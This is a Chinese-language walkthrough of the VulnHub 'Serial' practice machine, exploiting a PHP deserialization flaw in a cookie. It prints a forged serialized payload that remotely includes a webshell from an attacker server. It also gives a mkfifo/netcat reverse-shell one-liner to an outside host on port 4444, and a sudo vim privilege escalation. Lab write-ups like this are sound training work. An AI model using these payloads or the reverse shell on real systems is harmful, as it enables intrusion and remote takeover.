vulhub-serial-php反序列化靶机实战

前言 此漏洞环境是vulhub上的系列漏洞之一,是php反序列化漏洞,也用到了远程代码执行漏洞。
复现过程 环境搭建
靶机下载地址

https://www.vulnhub.com/entry/serial-1,349/

下载好之后直接用Vmware workstation打开就行了
存活扫描
内网存活主机扫描
arp-scan -l

扫描到的存活主机是192.168.77.157
vulhub-serial-php反序列化靶机实战
文章图片

端口扫描
扫描开放的端口
nmap -sV -p- 192.168.77.157

发现开放了80,22号端口
vulhub-serial-php反序列化靶机实战
文章图片

访问web服务
vulhub-serial-php反序列化靶机实战
文章图片

页面上显示
Hello sk4This is a beta test for new cookie handler

burp抓包:
vulhub-serial-php反序列化靶机实战
文章图片

发现cookie是base64加密过的,解密后发现是经过序列化过的:
O:4:"User":2:{s:10:" User name"; s:3:"sk4"; s:9:" User wel"; O:7:"Welcome":0:{}} o:代表存储的是对象(object),如果传入的是一个数组,那它会变成字母a。 4:表示对象的名称有4个字符。User表示对象名称,刚好是4个字符。 2:表示有2个值 s:表示字符串,数字表示字符串的长度,s:10:" User name";

【vulhub-serial-php反序列化靶机实战】在这里补充一下PHP序列化/反序列化的相关内容
php序列化和反序列化函数是serialize()和unserialize(),serialize()可以将变量转换为字符串并且在转换中可以保存当前变量的值;unserialize()可以将serialize()生成的字符串转化为变量。php进行序列化的目的就是保存一个对象方便以后的重用。说到反序列化就不得不说一下魔法函数,常见的魔法函数有
(1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。 (2)wakeup() :unserialize()时会自动调用 (3)destruct():当对象被销毁时会自动调用。 (4)toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用 (5)get() :当从不可访问的属性读取数据 (6)call(): 在对象上下文中调用不可访问的方法时触发 (7)sleep():使用serialize时触发

魔法函数的调用是在一个类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。
目录扫描
使用御剑扫描发现存在**…/backup/**路径,访问发现存在目录遍历漏洞:
vulhub-serial-php反序列化靶机实战
文章图片

下载bak.zip,发现有三个源代码
代码审计
index.php log.class.php $type_log = $hnd; }public function handler($val) { include($this->type_log); echo "LOG: " . $val; } } ?>user.class.php name = $name; $this->wel = new Welcome(); }function __destruct() { //echo "bye\n"; $this->wel->handler($this->name); } }?>

三个源代码,index.php把cookie序列化然后再base64编码一下; user.class.php定义了两个类,一个是Welcome,另一个是User,上面我们base64解码之后的就是把User序列化之后的结果,分析User这个类,发现有$this->wel = new Welcome(); 那就再看Welcome这个类,发现这个类里面写的是一个handler()函数,而且还包含了log.class.php,我们再去看log.class.php,
public function handler($val) { include($this->type_log); echo "LOG: " . $val;

这里存在着文件包含漏洞,我们可以加以利用输出一些我们想要的信息
Getshell
根据解码后的cookie进行构造,出现文件包含漏洞的是Log类,所以我们就加上序列化之后的Log类的内容
O:4:"User":2:{s:10:" User name"; s:3:"sk4"; s:9:" User wel"; O:7:"Welcome":0:{}}O:4:"User":2:{s:10:" User name"; s:5:"admin"; s:9:" User wel"; O:3:"Log":1:{s:8:"type_log"; s:27:"http://xx.xx.xx.xx/shell.txt"; }} 此poc用到了远程文件包含漏洞,shell.txt是我在远程服务器上放的木马,内容是

>>> base64.b64encode(b'O:4:"User":2:{s:10:"\x00User\x00name"; s:5:"admin"; s:9:"\x00User\x00wel"; O:3:"Log":1:{s:8:"type_log"; s:27:"http://xx.xx.xx.xx/shell.txt"; }}') b'Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6Mjc6Imh0dHA6Ly8xNDAuMTQzLjEyMi4xMy9jLn' 注意此处的空格需要用\00代替,链接就是我放在服务器上的一个木马的地址,修改url的时候不要忘记把s修改一下

burp重放
vulhub-serial-php反序列化靶机实战
文章图片

反弹shell
编码前: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc xx.xx.xx.xx 4444 >/tmp/f 编码后: rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+xx.xx.xx.xx+4444+>/tmp/f

vulhub-serial-php反序列化靶机实战
文章图片

vulhub-serial-php反序列化靶机实战
文章图片

提权
获取到shell后在根目录下发现文件credentials.txt.bak,里面是sk4用户的密码,有了密码就可以通过22端口进行远程连接了
提权方法是通过sudo -l查看当前用户可执行和无法执行的命令,发现vim对所有用户都NOPASSWORD,所就尝试sudo vim,进入到命令模式输入!bash,就可以成功提权。
vulhub-serial-php反序列化靶机实战
文章图片

vulhub-serial-php反序列化靶机实战
文章图片

参考文章
远程文件包含:https://www.jianshu.com/p/be68cf9be911 php反序列化:https://imysec.cn/2019/03/27/php-xu-lie-hua-yu-fan-xu-lie-hua/ https://xz.aliyun.com/t/3674 https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#1-%E6%A6%82%E5%BF%B5%E8%A7%A3%E9%87%8A%EF%BC%9A 反弹shell:https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html https://mp.weixin.qq.com/s?__biz=Mzg4MzA4Nzg4Ng==&mid=2247483980&idx=1&sn=7009611467280235e020d9dc2bfb79e4&chksm=cf4d8d2df83a043b5dada8d3239f521c90fc1fb25c46d53c8587673acf982251b2302c0efeb4&mpshare=1&scene=1&srcid=&sharer_sharetime=1570769686338&sharer_shareid=62f0fff7c8b6ad3fb28d5be3244bea91&key=f3b89a09cde51f0fdbad4af22908c0f665373d6e9d648b35ff04a2bce7cb6280bc37c79fc979034db3d63288319f3433cb3d27798738c4f62d7426b45bff32c5c2ec445b03996541b829e6b49b0418e7&ascene=1&uin=Mjk3MTU2ODQ5&devicetype=Windows+10&version=62070141&lang=zh_CN&pass_ticket=d4y2wiXz0x%2FRPuCGj%2FU%2FgrlvMD1dRyPHSJVBX56CpDZ%2BWKCs171mNJinVFauuuDd

    推荐阅读